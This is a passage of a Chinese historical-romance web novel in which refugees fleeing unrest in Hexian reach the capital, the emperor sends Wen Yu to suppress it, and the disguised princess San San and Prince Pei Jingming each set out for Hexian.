三三一直在竖着耳朵听前院的动静,一开始前头声音还很大,倏尔一下又没了,三三实在好奇,忍不住频频向外望去。
见外面没了动静,温昭和温澄倏然松了一口气,谁曾想这被支出去的杜筠竟然中途又回来了?
温毓平了前院的喧闹,见孙伯探了身子出来观望,便微微点了头,示意事情都解决了。
而三三却不敢再待下去了,刚刚那尖锐的声音她细听了几遍,不是那日在百花楼见过的杜筠又是谁?
看来今日的茶水甜点并非
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那么简单,她抬起头,面上是好奇地看着院外,实则借着眼角的余光又看了一眼那屏风。
见孙伯回来了,她拍了拍手上的残渣,站起身时弯了弯眼睛,笑道:“今日的茶水很好喝,点心也很好吃,谢谢孙伯的招待,也替我谢谢您家将军。”
孙伯见她要走,下意识看了一眼屏风,又怕三三起疑心,不敢再看第二眼,视线在半空中打了个弯瞧向桌上的点心。
“姑娘怎么不多吃一点啊?这还剩好多呢。”
三三双手来回交替着摇摆:“不了不了,我这还有事呢,就不叨扰您了。”
孙伯还想让人打包好了让她带走,三三说什么都不肯要,火急火燎地就跑了出去。
“王爷,探子传来了两道消息。”十一取下信鸽上的密信,转眼放飞鸽子后便信步上前呈给了裴景明。
裴景明怀里抱着小梅花,淡淡道:“你念吧。”
十一颔首旋即立马打开信封:“第一封信上说,宁北王那边的人借着这歌谣,在京畿周边生事,表面上打着抓捕反楚复晋的反贼,实则一直在欺男霸女还……”
十一念到一半骤然熄了声。
裴景明摸了摸小梅花的脑袋,又去捣鼓它的小肉垫,淡淡问了句:“还什么?照着念就是了,吞吞吐吐做什么。”
十一抿了抿唇,继续念道:“还打着您的名号到处招兵买马……”
“我的名号?”裴景明抬眼看向十一,眉头紧蹙,“什么意思?”
“那宁北王找到了之前跟您一直在西北边境作战的军士冯士威,冯士威说是领了您的命令去镇压……”
裴景明眉头蹙得更紧了,小梅花后仰着头往他怀里拱了拱。
“冯士威?就是那个军中力大无比的大块头?”
十一在脑海里仔细搜寻了一番,低声道:“除了这个,西北军中并无其他人也叫冯士威了。”
“这冯士威空有一身力气,头脑简单四肢发达,怕是个脑子不好的,我瘸了腿回京中修养人尽皆知,怎么他还信裴文谦的鬼话?”裴景明扯着小梅花的脑袋阻止它继续拱来拱去的掉毛,又问十一,“现下他在哪?”
“在东京城东南边的鹤县。”十一仔细搜寻着信上的地址。
“让二七跑一趟,叫冯士威滚过来见我。”裴景明声音极为冷淡,十一在他身边多年,知晓自家王爷这是生气了。
但凡涉及军中的人或者事,裴景明都格外谨慎,一朝被蛇咬,十年怕井绳莫过于此。
小梅花被他扯住脑袋十分不甘心,抬起前爪就扑挠他的衣领,裴景明见它这般模样,顿时好笑出声。
裴景明一手拽住小梅花的脖子,一手压制着它的前爪:“另一封信呢?”
十一哦了一声,动作迅速地打开了另一封信。
“……三三送酒去了温将军家,随后被管家孙伯给请进了府里许久……”十一心中震惊不已,难道这温将军跟三三相认了?
“王爷……难不成……”十一艰难开口。
裴景明好笑地看了他一眼:“你这么紧张做什么?依我看来,他舅甥二人尚未相认。”
十一不解:“属下不明,还请王爷解惑。”
裴景明把喵喵乱叫的小梅花放地上,拢了拢衣袍:“杜筠是因裴朝朝的缘故才见到三三,她回去之后告诉温澄,温澄定会告知父兄,那温毓向来谨慎,定然会猜想是不是裴朝朝在做局。”
“现在不是认亲的好时候。”
十一张了张口,还没说什么,门外突然传来一阵凌乱的脚步声。
二七神色紧张,匆匆行了个礼:“王爷,不好了,南边方向突然涌进好多难民。”
38. 难民入城
“怎么回事?”裴景明立马蹙紧了眉头。
二七本在城外跟五三轮流换岗监视程书,结果换班时看到南方的城门不断涌进些面黄肌瘦的难民,顿时慌了心神,匆匆探了情况就一路狂奔回来,纵使现在还天寒,额他头上还是布满了汗。
二七抬袖擦了擦滴落眼睛的汗渍,粗声道:“我换班去买吃食时看到了好些饥馑不堪的老弱妇孺,跟值班的城门郎一打听才知道,鹤县那边谣言四起,几方势力交战混乱得不成样子,从今早天刚刚微亮时起便有好些鹤县的百姓逃难来了东京城。”
“眼下南边街道那边路上都堆挤了好些难民,守城的城门郎上报监门卫之后,那监门卫又上报了监门将军,眼下还没个决断。”
裴景明目光倏然变得锋利起来:“监门将军张守义干什么吃的?”
“那张守义昨儿晚上跟人吃花酒去了,现在还没醒。”二七被裴景明这倏然转变的疾言厉色吓了一跳,毕竟已经很久没见过自家王爷这样了。
书房内落针可闻,裴景明沉了沉眼眸,一言不发,倏尔从轮椅上站了起来绕到案前,探手从底下取出了个木盒。
他眉眼压得低,平日里温和的模样一瞬间消失殆尽,那双漆黑的眸子缓缓扫过盒子里的金制令牌,他探手取出递给了十一。
“十一,拿上我的令牌,调集府里侍卫去南边城门筛查难民,搭棚施粥,记住,一定要仔细筛查流民的籍贯和身体情况,绝不能让人趁乱带着疫病进来。”
流民不可怕,可怕的是借着流民的名义混进来带疫病的人。
十一双手接过令牌应了声是之后便急匆匆出门召集人手,二七下意识转身跟了上去,却被裴景明叫住了。
“二七,同我进宫。”
三三慢悠悠地往前推着车子,心思百转千回,眉眼间尽是疑惑,自从那日从百花楼回来后,她时常会想这个杜夫人的侄女是否会告知温家人她的存在,如今看来,那杜筠应当是告知了,只是为何她今日不能进前厅呢?
“嘿!你这小兔崽子!站住!别跑!还我包子!”三三猝不及防被人从身后撞了个趔趄,手推车霎时侧翻倒地,她一个没站稳,差点随着那推车一同翻倒在地。
三三前后左右晃了个遍,终于稳住了身形,还没等她彻底站稳呢,后边又追上来个人,三三赶紧撂下那躺地上的手推车,倒腾着腿往旁边让了让。
“诶哟,这是怎么回事啊?这大中午的,怎么老是有人在追人啊?”三三后面不远处有个上了年纪的婆婆拄着拐杖,佝偻着身子不停扬手,不知道的还以为追人的阵势有多大竟然扬起了尘土。
她旁边蹲着个卖菜的老头,地面上整齐摆着青菜、白萝卜、茄子……他手里不住捻着烟草,那两根手指又黑又黄,捻了好一会才放进嘴里砸巴砸巴。
“你没瞧见吗,南边城门那里堵满了难民,这些小崽子都是刚进来的,没钱但又饿,那咋怎么办?抢呗!今天早上这种场面我已经见了五六回啦!”老头面上淡定得不得了,仿佛这种场面早已习以为常。
那婆婆拄着拐杖使劲跺了跺地面,嘴里哎哟个不停:“造孽啊!这才过几年安生日子,怎么又有难民了!”
老头嚼吧嚼吧烟草,眯缝着那双浑浊的眼睛,冷笑了声:“哪有什么安生日子?能过安生日子的从来不是我们这种小老百姓,你道那难民哪来的?就是鹤县来的!”
“那鹤县现在乱如麻,三天两头的不是你砍我就是我砍你,互骂对方是反贼,这是因为啥?还不是因为那鹤县……”
老头本来还揣着手梗着脖子在那慷慨陈词,忽而眼角瞥到了群身着红袍的人浩浩荡荡往这边来,顿时住了嘴,像个鹌鹑一样缩起了脑袋,默不作声。
三三往后看去,那群训练有素的侍卫个个虎背熊腰,身着红色圆领袍,脚踩黑靴,头戴幞头,腰边挂着刀,好不威风,再定睛一瞧,那领头的人赫然是元安王身边的十一!
这群人不仅气势昂扬,动作也十分麻利,转眼间四五个侍卫就抬着帆布和木头架起了个十分简易的棚子,另外两个侍卫又抬了口十分大的锅过来架在早已堆好的砖头上,还有好些侍卫肩上扛着一麻袋一麻袋的粮食。
那老头听着动静缓缓探出脑袋,又跟那拄着拐杖一直骂骂咧咧的婆婆对视了一眼,这是在做甚?
三三不想被十一看到,赶紧把那倒了好半天的推车给扶了起来,手脚利索地往前边那个小道拐去。
十一抱着剑,见围观的百姓越来越多,眼神极其锋利地一一扫过面前的人,堵在前头的多是本地百姓,往后还有些胆子比较大的难民,那些胆子小的都不敢靠过来,只远远站着望向这边。
十一深吸了口气,朗声喊道:“我乃元安王的贴身侍卫,奉王爷命令,前来搭棚施粥,鹤县来的百姓们可以一一排好队前来领粥!”
他话刚一落地,有个浑身肮脏的小孩大着胆子上前问了句:“是所有难民都能领上粥吗?”
十一看着不到自己腰高的小孩,衣服打满了大大小小的补丁不说,那补丁多半都破了,头发乱糟糟的,整张脸又黑又瘦,整个人从上到下写满了小难民三个大字。
“对,前提是难民进城之后要配合查问,待查问完没有问题后,就可以前来排队领粥领馒头了。”
“所以,现在已经进城了的难民,必须重新回到城门口接受查问才能来这里排队。”十一朝人群大喊了一声,眼神巡着那些站在远处观望的难民重复道,“如果不老实接受查问,一律不准进城!胆敢反抗阻挠不配合的,一律关进牢狱!”
围着看热闹的百姓还以为有什么好事,眼见这些粮食都是给难民准备的,顿时没了心思,纷纷散了出去。
而那些难民见着这番阵仗,也都纷纷从地里爬了起来,年轻腿脚好的早早就回到了那城门边接受查问,年迈体弱的只能佝着腰慢慢挪动。
眼见那些难民都自发地起身前去排队,南平街道两边都密密麻麻站起了人,十一心中顿时舒了口气,来之前他还忐忑不安,若是难民不配合,他是不是得杀鸡儆猴。
好在眼下大家都配合,他也用不着拔刀亮剑地吓唬人了。
三三躲在小道上看了一通,心里已经明白过来了,看来因为那谣言,鹤县已经乱了。
“乱了?鹤县究竟是怎么回事?!”明武帝手里拿着本折子,垂头看向底下坐着的裴景明。
来的路上,裴景明就已经琢磨得差不多了。
裴文谦这是自导自演呢,一边借着歌谣生事,一边打着消灭反贼的名义忽悠冯士威给他攒功,真是玩得好一出监守自盗。
那真反贼自是乐见其成,一同混着裴文谦的人不断生事,眼见自己的人都要被打没了,这才反应过来
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被真反贼给借了东风,现下只留了个冯士威在那与真反贼对峙。
裴景明冷淡地瞥了眼那个草包,很快就收回了视线。
“回陛下,此事恐怕得问宁北王了。”
明武帝“啪”地一声将手里的奏折甩在案前,眉头紧蹙,视线唰然看向一旁候着的裴文谦:“文谦,这是怎么回事?”
裴文谦此时心里懊悔不已,当初就不该轻信那个草包郭蒙的话……
“回陛下,此事儿臣慢慢禀来……”
明武帝再次甩了本奏折,声音十分响亮,他疾言厉色道:“还慢慢禀来,眼下那万千难民就扎堆在东京城了,哪有时间给你慢慢说,速速长话短说!”
最近这阵子天气渐渐转暖,殿里的地龙烧得不再同年前那般热,可裴文谦额头上愣是滑下了几滴汗,他也不敢抬手擦,只低着头道:“因为那歌谣,儿臣发觉虽然抓了东京城传唱的人,可那歌谣早已传了出去,尤其是鹤县最为严重,儿臣便想着二哥之前手下有位大将名唤冯士威,战力了得,正好他老家就在那,便暗中让他去将那些传唱的人都抓起来警告警告,可没想到那鹤县传唱的头竟然是前朝人,冯士威上门警告不成,还被人持刀给伤了,这一来二去的,冯士威便和这前朝人打了起来……这才导致鹤县民不聊生……”
明武帝抓过手边的狼毫笔奋力一甩,那笔就直直砸在了裴文谦头上,那笔上还沾着墨,甫一砸到他还顺着额头流下了墨汁。
“歌谣的事朕不是让裴朝朝去查了吗?你掺和什么劲?谁让你自作聪明的!”明武帝甩完那狼毫还没泄气,又抓过手边那盏空了杯的茶盏甩过去,不知道是不是因为故意的,这次没砸到人,反倒围着裴文谦跟前碎了个稀巴烂。
“这下好了!那几千上万的鹤县百姓都成了难民全都涌进了东京城!你说说这事要怎么解决?!”明武帝气得直接从龙椅上站了起来,双手叉腰,怒目圆瞪着底下跟鹌鹑似缩着不敢答话的裴文谦。
见他如此敢做不敢当的窝囊样,明武帝气得顺着台阶走了下来,抬脚就是哐哐往裴文谦身上踹,边踹边骂:“你既然自作聪明地去警告人,怎么出了事又缩起了头!”
裴文谦被明武帝一脚踹中膝盖,哐当一下单膝跪地,膝盖磕在地板上的清脆声,脆得裴景明耳朵都舒展了。
明武帝作势还要踹他胸口,被裴景明开口给拦了下来:“陛下息怒!眼下事情还未解决,再打再骂宁北王也无济于事。”
明武帝腿都抬到半空了,硬生生卡了一会才收起脚。
“依你之见,该如何是好?”
裴景明看向明武帝,余光又瞥见他身后那单膝跪地的裴文谦眼眶发红,眸子里面盛满了恨意。
裴景明勾起嘴角:“依儿臣之见,眼下要先安抚好城中的难民,避免他们生事,另外,朝廷也要派出位将军前去平定鹤县之乱,这样日后这些难民才能回家安养生息。”
明武帝整了整衣袍,转身拾阶而上:“那你觉得朝中有哪位将军适合前去呢?”
裴景明先是看了眼地上跪着的裴文谦,明武帝当即道:“不成,这小子成事不足败事有余,让他去岂不是白白将鹤县拱手让于反贼?”
裴景明看着裴文谦,眼底满是戏谑。
但他很快又调整了神情,垂眸凝思片刻才道:“陛下觉得,让温将军前往如何?”
39. 鹤县动乱
明武帝刚刚摔了个盏,杨公公又立马端上了杯盛满热茶的新盏,他随意抬起茶盖搁在一边:“温将军?西郊大营最近一直在演练,他恐怕是抽不开身。”
裴景明当然知道温昭最近一直在西郊大营忙活演练,但他就是要提他,只有提了他,才能顺理成章引出温毓。
“陛下说得极是,不如让温将军的大儿子前往如何?听闻这温毓是个文武全才,不若让他前往锻炼一番?”
明武帝喝了口热茶,心中的怒火消了一点,他又低头喝了两口,心中思忖着裴景明的建议。
温毓年方二十五,十八岁时就拿下了武状元,后来任命为右武卫从府校尉,负责京城治安巡逻,偶尔也会跟着温昭在军中进行训练,虽然未曾真刀真枪地上阵杀过敌,但如今太平盛世,也该给年轻人点机会。
“既如此,那就让温毓去吧。”明武帝边吩咐杨公公去宣人进殿边刷刷提笔写下任命。
三三从小道上拐了又拐抄了小路去旧书铺。
她一进门就见孟岸和孟双在整理书籍,打了声招呼便径直去了后院。
“先生!鹤县……”三三还没说完的话在见到武不群之后生生转了个弯,惊喜道,“师傅!你回来啦?”
武不群戴着个草笠,翘着个二郎腿,坐姿十分放荡不羁,正坐在厅前和程书说着什么。
“哟,殿下来了啊?”武不群一下坐直了身子,草笠下饱经风霜的脸骤然展开,他那双号称举世无双的虎眼睁得又圆又亮,“先生刚刚还说让我去找你呢。”
三三本来还扬着笑意的眼亮晶晶的,在触及到程书那凝重的表情时顿时散了精光。
程书往日里的形象就是个笑呵呵的老头,可一遇上事,便成了那私塾里说的教书先生,面容十分严肃不说,一旦蹙起眉瞧着你的时候,不自觉就让人两股战战。
三三坐在武不群的身侧,简单把在南平街道上的事情讲了一遍。
“看来那梁荣……”程书捋着那花白的短胡须,眼睛里闪着莫名的情绪,他微微眯起眼,思忖片刻才继续道,“此事本应我前去解决,但殿下已然长大成人,是时候该去见见那些人了。”
三三本以为这事程书会解决,没成想他竟然想让她去?
“我去?先生,我现在身无信物,除了一张脸,何以取信对方?”三三眉头拧紧,竟然生生在额头中间挤出了些隐隐约约的纹路。
武不群一下就乐了:“哎呦,想不到三三殿下竟然怕这个?为师往日里教你的一身本领可是都忘了?”
“自然没忘,”三三松了松眉头,“可有何干系?”
程书自然也关注到了她凝重的表情,他出声安慰道:“殿下放心,武不群此次带回了样东西。”
三三一进来就注意到了桌上放着个信封,有些微鼓,看着不像是信。
程书拿起信封拆开,从里面取出个羊脂玉玉佩。
“我请画师仿着当年那块玉佩的模样重新画了一遍,又让武不群找人做了块,虽说材质肯定比不上原来那块,但只要不细细观察的话,旁人是分辨不出的。”程书起身将手里那块玉佩双手呈上递给了三三,“当年那块玉佩是晋王家族世代传承的云龙佩,是百年前太祖命人用和田玉雕刻而成,如今羊脂玉难得,只能用较为次之的白玉雕刻了。”
三三抬手接了过来,这白玉洁白如雪,滋润光洁,油脂呈半透明的蜡状光泽,摸起来细腻又坚韧,她低头瞧这玉佩上的纹式,只见上面浮雕着条栩栩如生的游龙,游龙嘴里口含宝珠,边上浮着片祥云。
“所以这是晋王皇室的象征?”三三嘀咕了声,毕竟民间百姓要雕刻玉佩的话,除非阖族活腻了,否则谁也不敢用这游龙样式。
程书背着手:“自然。那梁荣曾是大晋的一位校尉,后来因为楚军攻占东京城时杀了他妻女,他自知报仇无望,便逃离了东京城,我前些年暗中寻找前朝官员军士时在鹤县发现了他,彼时的他已经重新娶了妻子,并且生了几个孩子。”
“此处歌谣一事梁荣肯定出了大力气,又因着别的原因,这才与鹤县的官兵动起了手。”
程书望着门外的院子,思绪有些飘然,顿了片刻才继续道:“殿下,歌谣一事,是刘永逸挑起的,他一边让人在东京城里找乞丐散播,一边向各地的前朝残余军士释放信号,鹤县的梁荣与他交好,这就是为什么鹤县会率先动乱。殿下此次和武不群前去,只需找到梁荣让他停手,重新蛰伏起来便可。”
“若是他不肯听殿下号令的话,殿下该如何是好呢?”程书前半段还在给三三交代事宜,后半段猝不及防提问了起来。
三三手里不断摩挲着那块玉佩,眉眼如工笔画般清晰可见,眼里流淌着些说不清道不明的情绪。
按理来说,她是大晋唯一的皇嗣了,如果梁荣还当自己是大晋的臣子的话,必然会听命于她,可如果人家不认了呢?要怎么样才能让对方停手呢。
三三沉默片刻,张了张嘴,缓缓道:“先生,我不知道。”
程书深深望着她,眼底晦暗不明,没有见过血的殿下,终究是太过心软。
武不群仍旧坐着,但并没有开口,他微微抬头看向三三,心里百感交集,一个长在大楚的前朝公主,既没动过刀,又没碰过血,要如何才能立威呢?
程书抬手拍了拍三三的肩膀,语重心长道:“殿下,关键时刻,切不可心软,若是那梁荣不肯听命于你,你就杀鸡儆猴,立威于人,明白吗?”
三三瞳孔倏然放大,尤可见眼眸微微颤抖。
“先生的意思是,要杀了梁荣吗?”三三抿了抿唇,几番心理建设之后终于问了出来。
“殿下不杀他,如何立威?如果一个小小的校尉都能在殿下头上作威作福的话,其他将士会如何看待殿下?又会有谁愿意追随殿下?!”
程书的声音不高,可字字掷地有声,如同猛炮一般轰然砸击着三三的胸膛。
三三嗫喏着张了张嘴,她好似有千言万语要说,可话到喉头却硬生生哽住了,无论如何都说不出口。
程书的话是对的,她要立威就不得不这么做。
可是她立威做什么呢?难道她真的要掀起复国之战吗……
武不群见三三脸色煞白,心想自己这唯一的徒弟怕是一下接受不了,他起身,试图打着哈哈岔开话题,搅乱现下这凝重的气氛:“殿下啊,此事还不定怎么发展呢,咱们先去看看,随机应变才是上策。”
程书板着脸,视线锐利地扫过武不群,武不群僵着笑脸一动不动。
三三握着那枚玉佩不断摩挲,良久她才吐出口气,将那玉佩塞回腰间。
“我觉得武师傅说得对,现下假设的都不一定会发生,还是前去实地查看再做决定吧。”
程书板着脸没再说话,约莫过了半盏茶的功夫他脸上的表情才有所缓和:“殿下说得是,眼下还早,现在
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出发的话,晚间便能到鹤县了。”
三三有点突然:“今日便要去吗?”她还没来得及跟老板娘告个假呢。
程书看了她一眼,只道:“酒楼那边我自会帮殿下周旋,殿下要记住,酒楼打工只是暂时的,莫要把它当长久。”
三三没说话,武不群看她那副表情就知道她心里是不愿意的,眼见程书还要开口,武不群赶紧拉着三三就去了后院边上的马槽:“殿下,这次我带回来了几匹好马,来来来,你挑一匹,咱师徒俩骑上好马就直奔那鹤县!”
政务殿内,裴文谦依旧单膝跪地,低垂着头,活像个斗败了的公鸡;裴景明坐在轮椅上双手交叉,姿态十分放松;那高殿上方的明武帝则埋头在案前不断批阅奏折,殿里落针可闻,唯听得明武帝落笔批折的声音。
殿外的小太监领着匆匆入宫的温毓候在殿外,待人通传回了信,才拔高了声调喊道:“宣右武卫从府校尉温毓进殿!”
温毓低垂着头掀起袍子迈过门槛,眼睛只盯着目下方寸之地,待行到殿中央时才掀袍跪地,眼神丝毫不敢乱看,距三三离府不过一个时辰,他心中实在忐忑不安。
“微臣右武卫从府校尉温毓,拜见陛下!陛下万岁万岁万万岁!”
明武帝闻声从案牍中抬起了头,手里还捏着笔,他转了转发酸的手腕:“抬起头来让朕瞧瞧。”
这温昭被人称玉面将军,好嘛,生的儿子也是这般白净儒雅。
明武帝忍不住笑了起来:“温毓,好名字,字如其人嘛,看来你父亲玉面将军的名号也是有了继承人啊。”
温毓抬起头,这才发现自个正好跪在了中央,左边是单膝跪地满面倔强不认输的裴文谦,右边是坐在轮椅上悠哉自得的裴景明。
温毓目视前方,装作什么都没有看到的样子,自顾自答话:“微臣惶恐。”
明武帝是真心实意地夸赞,倒也不在意温毓答的什么。
他放下笔,问道:“鹤县的事情,卿可有听闻?”
温毓答道:“微臣今日在家中与父亲弟弟小酌,尚不曾听闻鹤县之事。微臣斗胆,敢问陛下鹤县发生了何事?”
明武帝站起身子,两手叉在腰上,悄不做声地左右转了转。
“这样啊,朕记得你父亲今日休沐,家中父子小酌实为一桩美事,也不怪你不知道鹤县之事,珩清啊,你给温毓说说这事吧。”
裴景明眼神向来锐利,一眼就瞧出了明武帝只想趁机活动活动身子的心思,倒也没拆穿,只笑着应了声是。
……
“竟有此事?!”温毓面上一片愕然,没想到这歌谣威力如此之大,竟然能搅动一县。
裴景明摊了摊手,叹了口气道:“想要借着歌谣生事并不难,难的是如何平定这番骚乱,更难的是如何安置难民。”
明武帝嗯了一声,趁着底下人不注意的时候已经转了好几圈肩膀,眼下浑身舒服。
“珩清说得极是,朕想着你父亲近日在西郊大营走不开,自你上任以来,也没有真刀真枪动过手,朕欲你前往平定,你可愿意啊?”
温毓双手扶地顿首磕了个头,声音沉稳极具穿透力:“微臣万死不辞!”
明武帝满意得点了点头,把早已写好的任命书递给杨公公示意他拿去给温毓。
“晋右武卫从府校尉温毓为右武卫郎将,率三千士兵前往鹤县平反贼,若他日立功班师回朝,朕另有奖赏!”
40. 前往鹤县
此次事急从权,任命较往日快了不止一星半点,温毓回到家中不久,那宣旨的太监也上了门。
一通宣旨闹得府上人仰马翻,待温昭和杜夫人一同送走了太监,回到前厅时才发现温家兄弟俩坐在厅上一言不发。
杜夫人心里是既高兴又担忧,捏着帕子的手攥了又攥。
“这一遭也来得太过突然了,毓儿明日便要出发了,”杜夫人声音哽咽,眼里含着泪,她拾起那皱巴巴的帕子擦了擦眼角,“为娘这就给你去收拾行囊。”
温毓起身轻轻拍了拍杜夫人的手,低声安慰道:“母亲不必担忧,鹤县离东京城并不远,快马半日便能到,若是儿子此次剿灭了反贼,晨间大捷传回城里,母亲午时便能看到儿子了。”
他不说还好,他这一说杜夫人根本忍不住了,靠着他的肩头低声抽泣了起来,边哭还边攥起拳头捶了几下温毓的胸膛:“你父亲是将军,整日带兵打仗我就已经够提心吊胆了,但谁让我嫁了他呢。本以为你和澄儿能够安稳度日,将来入仕当个文官,为娘不求你们能够封侯拜相,只要平平安安就好,可偏偏、可偏偏你们俩兄弟就跟着了魔似的非要习武从军!”
“我拦也拦不住!自打你十八岁那年夺得武状元,我便料想到会有那么一天,可不成想……不成想来得这般快!”
她的哭声不高,可偏偏哽咽、压抑得让人难受,温毓不懂如何安慰母亲,手足无措得抬着手在空中挥舞了几下,最终只是轻轻拍了拍她肩膀。
温昭在一旁立着,叹了口气才揽过杜夫人道:“你这是干什么?孩子长大了,自然是要建功立业,为自己博出个前程来的,难道也要同那些混吃等死的二世祖一样靠着父辈荫庇做官吗?”
“我知你担心毓儿安危,难道我就不担心了吗?可这事总要有人去做,你就当他的机会来了,是时候出去锻炼一番了。”
杜夫人这下哭得更加不能自抑了。
温澄知道父亲还有话要交代大哥,要是让杜夫人继续哭下去,恐怕都要半夜才能说上话了。
他扶着杜夫人的手,低声道:“娘亲还是莫要再哭了,仔细您的眼睛,现下时候不早了,我陪您一同给大哥收拾包袱吧。”
说着也不管杜夫人如何挣扎着还要去抱温毓,硬是生生地半抱半拖地给杜夫人拖回了房里。
温毓望着母亲和弟弟的身影,眼眶略微有些发红,眸中充满了不舍。
温昭拍了拍他肩膀,须臾又收回背手而立站在温毓身侧:“行了,不用这么不舍,虽说鹤县一事听起来凶险,可实际上倒也没那么凶险,不然陛下怎么会派你这个没领过兵打过仗的新人去?”
“鹤县作乱的就是以梁荣为首的前朝旧人,跟他对打的是冯士威,这两人都算不上什么好鸟。”
温毓低下头快速眨了眨眼,忍了又忍才没抬起袖子擦,须臾才问道:“父亲何出此言?”
温昭冷哼了声:“那梁荣是大晋的一个小校尉,楚军杀了他妻女后他扬言跟大楚势不两立,结果没多久就转投了鹤县县令,与那鹤县县令的独女成亲,婚后育有几个孩子,将死去的妻女抛之脑后。再说那冯士威,此人因着一身蛮力在西北军中很是有名,但他是元安王的部下。”
“可朝中人尽知,元安王自伤了腿后对军政一事少有理会,可他偏偏打着元安王的旗号说镇压反贼,你道为何?”
温毓眼形修长,眉弓高耸,垂眉思考时总是忍不住轻蹙眉头。
“那冯士威莫不是给人骗了?”
温昭又冷哼了一声:“我瞧着就是,此番就是那两个王爷在打着元安王的名号行事,成与不成,都够那元安王喝上一壶了,若非陛下极信元安王……”
温毓眉头越发蹙紧了:“此次陛下让我前去平定反贼,儿子将那梁荣捉回京,是不是就能平了此事?”
“你想得真美,我且问你,那冯士威有无官职在身?”
温毓在脑海中细细搜寻了一番:“自元安王回京之后,听闻这位冯士威也辞官回乡了,应是无官职在身才对。”
温昭又问:“无官无职,那冯士威说自己打的是反贼,梁荣也说自己打的是反贼,你当信谁?”
温毓侧身定定看着父亲:“自是两人都捉回京中候审。”
温昭对他的回答算不上满意,也算不上嫌弃,只能说中规中矩。
“因着这二人的混战,这才导致鹤县民不聊生,你这么说倒也没错。”温昭背过身望着墙上挂着的那幅山水画,眉眼深沉,“毓儿,你也不小了,是时候去见识见识外面的尔虞我诈了。”
申时刚过,城外旧书铺里骤然跑出两匹通体黝黑的骏马,马蹄强劲有力,速度极快,所过之处无不溅起烟大似的灰尘。
三三很少骑马,或者说根本没什么机会骑马,只在几年前跟着武不群习武时偶尔练习过骑马,这还是第一回骑马跑那么远。
“师傅,我们到了鹤县之后要住客栈吗?”三三双腿夹着马腹,手里紧攥着缰绳,拔高了声音同一侧同行的武不群道。
武不群朗声笑了笑:“殿下,你这是骑马又不是杀马,喊那么大声做什么?”
三三收紧缰绳,轻轻拍了拍马儿的脑袋,速度渐渐缓了下来。
“这不是怕马儿跑得太快,师傅你听不清吗?”
武不群头上依旧戴着那个草笠,下巴边隐约能瞧见些胡茬,他抬手摸了一圈:“谁听不清你师傅我都听得清。”
三三知道他向来自负,也不跟他争论,又问了一遍要不要住客栈。
“当然是住了,要解决这事,起码也得有个三五日吧。”武不群随口道。
三三攥着缰绳轻轻提了提马腹,忙不迭跟在武不群身后:“师傅……徒儿囊中羞涩……”
武不群意味不明地哼笑了两声:“放心,有师傅在,断然不会让殿下你出钱。”
说着又一鞭子甩在马身上,顷刻间就将三三甩了好几米远。
三三被迫吃了一蹄子的灰尘,眼见武不群的身影越来越远,豆丁大的身影眨眼间就要消失了,立马甩了几鞭子追了上去。
“王爷,十一在南平街道那边都安排妥当了,暂时一切安稳。”二七推着裴景明的轮椅缓缓行走在宫道上,车轮碾过地板的声音咕噜咕噜作响。
裴景明嗯了一声之后便不再说话,二七也不敢再出声。
临了要出宫门了,二七作势要和人抬轮椅越过门槛,裴景明才问:“五三那边呢?”
那轮椅虽说不重,可加上裴景明这百十来斤的大男人,二七和另一个宫门侍卫抬得也颇为吃力。
“五三那还没来信,估计来了信也是在府中。”
裴景明嗯了一声,又道:“若是府中也没信,你亲自去问五三。”
二七应了声,将人抬上马车后便驱车直奔回府。
不成想回了府后,还没等裴景明下车呢,五三派回来传信的暗卫就火急火燎上前传话:“回王爷,城外书铺有异,后院跑出了两匹骏马,其中一人是三三,另一人戴着草笠刻意压低了脸,瞧不清模样,二人往南边去了。五三大人已然先行跟了上去,特意让我回来告知王爷。”
裴景明倏然掀开帘子:“就两人?”
那暗卫垂着头道:“对,就两人。”
裴景明看了眼二七,二七立即牵着马车往府里走去。
午时前裴景明还让二七去鹤县将那冯士威叫过来见他,眼下也不用二七去了,他自个前去。
裴景明在寝室内换了身黑袍,似是心中有事,薄唇抿成了一条线,眉眼压得极低,眉弓高耸更衬得他威严十足,难以靠近,他长身玉立站在门外,压迫感十足,边上的侍女仆从打扫卫生都不敢过他那一边去。
唐凌也就那日现了一回身,回来之后又继续外出了,
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今日刚回来没多久整个人困倦得不行,正准备歇个几日呢,就被人给堵了门。
“老大,王爷算准了你今日就能回来,特地让我来瞅瞅你回你心爱的房间了没?”二七笑嘻嘻地探着个脑袋,浑然没有察觉到他老大已经握紧的拳头。
唐凌忍了又忍,脑海里不断想象沙包大的拳头落在二七这张欠揍的脸上将会是何等精彩,须臾之后才松开了手,面上尽是不耐烦:“回了,然后呢?出任务你去,我困倦得不行,没瞧见我眼睛都睁不开了吗?”
唐凌说完双手扶在门边就要用力关上,二七眼疾手快地双手撑住:“王爷不稀罕我去,说了就要你去,你要是不去,那你自个跟王爷说去。”
说是困倦,其实也没那么困倦,唐凌主要是不想再外出跑个不停,就想安静待在自己的窝里懒散个几日,所以对于任务他就打算能推则推,但二七都那么说了,他也没有办法了。
唐凌松开手,二七撑着门的手一下就被抽空了阻力,整个人直直往前扑了上去,眼见就要扑到唐凌胸膛了,一根手指轻轻松松地摁住了他的脑袋。
唐凌用力一推,把二七的脑袋推了个后仰,没好气道:“让开让开,我要去找王爷了。”
裴景明站在屋前廊下,目光直视前方,看似在思考什么军国大事,实则他只是在发呆。
唐凌过来的时候就见他站在屋前一动不动,身姿挺拔好似松柏,面容冷淡又似那冰雪堆成的人,总之不像他一身热气。
“王爷。”唐凌双手交叉行了个礼。
裴景明那冰雪似的面容倏然松动了些许,淡淡道:“今日回来的吧?”
唐凌垂着头应了声是。
裴景明动了动左右胳膊,那筋骨不断发出咔嚓咔嚓的声音,不知情的人还以为他怎么了。
“走吧,跟我走一趟鹤县。”
唐凌疑惑抬头:“王爷要亲自前去吗?”
那谁来扮演瘸腿的王爷啊?唐凌心里疑惑却不敢开口问。
裴景明唔了一声,两三步越过脚下的石梯来到他面前,微微笑道:“是啊,我亲自去,谁能想到一个瘸腿王爷会出现在鹤县呢?”
可是你这张脸也太明显了吧?唐凌犹豫了会还是问了句:“王爷您要不易个容?”
裴景明摸了摸自个下巴:“用吗?”
唐凌这次是真忍不住了:“王爷,您这张脸谁人不认识啊?要是被人认出来了就麻烦了,不易容也可以,至少戴个面具吧?”
裴景明见他如此气急败坏,不由好笑得出了声:“行行行,都听你的。”
夜幕总是来得悄无声息,三三和武不群路上片刻不停,将将踩着黄昏最后一丝光线到了鹤县城门。
